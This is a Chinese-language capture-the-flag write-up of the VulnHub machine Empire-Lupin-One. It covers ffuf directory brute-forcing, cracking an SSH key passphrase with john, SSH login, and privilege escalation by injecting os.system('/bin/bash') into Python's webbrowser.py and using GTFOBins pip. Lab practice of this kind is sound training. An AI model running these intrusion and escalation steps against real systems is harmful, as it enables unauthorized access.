vulnhub靶机练习:01-Empire-Lupin-One
这次用的是Oracle VM VirtualBox,避免用vmware出现的问题
靶机地址:https://www.vulnhub.com/entry/empire-lupinone,750/
arp-scan -l 扫描ip

kali:172.88.6.144
靶场:172.88.6.63/
1、扫描ip
nmap -A -sV -T4 -p- 172.88.6.63

1.1 尝试访问ip

1.2 目录扫描 dirb http://172.88.6.63/
扫描的结果又很多


http://172.88.6.63/manual/


打开页面源代码,发现

1.3 使用 ffuf 工具暴力破解目录
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://172.88.6.63/~FUZZ'

http://172.88.6.63/~secret/


ffuf -u "http://172.88.6.63/~secret/.FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.pub,.html,.bak -mc 200
找的过程不是太顺利

http://172.88.6.63/~secret/.mysecret.txt
注意前面是有一个点 .mysecret.txt

好像是BASE58能解开

将私钥复制到ssh.key文件中,注意kali的私钥命名方式
/usr/share/john/ssh2john.py ssh.key > hash
john --wordlist=/usr/share/wordlists/fasttrack.txt hash
找到密码 P@55w0rd!

想了半天,用户名是那个,于是向前找了找

用户名:icex64 密码:P@55w0rd!

出现这个问题,百度了也找人了,终于给出结果了,是我在复制秘钥的时候出现了问题

用vim写秘钥,将秘钥复制在vim的siyao.key中,给个600的权限
ssh icex64@172.88.6.63 -i siyue.key

然后就进来了
2.提权
发现一个文件

find / -perm -u=s -type f 2>/dev/null


这里找到一个
icex64@LupinOne:~$ whereis webbrowser.py
webbrowser:
icex64@LupinOne:~$ locate webbrowser.py
icex64@LupinOne:~$ python --version
-bash: python: command not found
icex64@LupinOne:~$ python3 --version
Python 3.9.2


看到这个两个文件与一个适合我们用的
修改 webbrower.py,添加以下代码
os.system ("/bin/bash")
使用 vi 打开文件:vim /usr/lib/python3.9/webbrowser.py
执行以下命令切换 shell: sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
访问:https://gtfobins.github.io/,查询 pip


把这上面的代码复制下放到里面提权

用到dirb、ffuf,还有GTFOBins,只能积累了
细节方面,在使用 ffuf 工具暴力破解目录和私钥的时候,注意别弄错了
浙公网安备 33010602011771号